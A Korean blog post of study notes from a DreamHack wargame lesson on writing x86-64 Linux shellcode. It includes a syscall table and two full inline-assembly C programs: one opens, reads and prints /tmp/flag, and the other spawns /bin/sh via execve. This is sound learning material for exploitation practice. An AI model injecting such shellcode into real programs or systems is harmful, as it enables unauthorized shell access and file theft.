시스템 해킹/DreamHack으로 해커를 꿈꾸며

[DreamHack] Exploit Tech: Shellcode (ORW, EXECVE)

0x6b6569 2023. 2. 16. 14:49

 

Shellcode(shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각

주로 일반적으로 셸을 획득하기 위해서는 exec 셸 코드를 사용한다.

 

만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있다면 무시무시하겠져??

 

셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍쳐와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다. 

 

 파일 읽고 쓰기(open-read-write, orw), 셸 획득(execve)과 관련된 셸코드를 작성해본다!

 

ORW  SYSCALL

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode
// File name orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
    
void run_sh();

int main() { 
	run_sh(); 
}

 

ORW SHELLCODE 디버깅

우리가 작성한 shellcode에 rip가 위치한 것을 확인할 수 있음!!

 

좀 더 실행!!

 

 

 

RDI  => '/tmp/flag'

RSI  => 0

RDX => 0

 

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }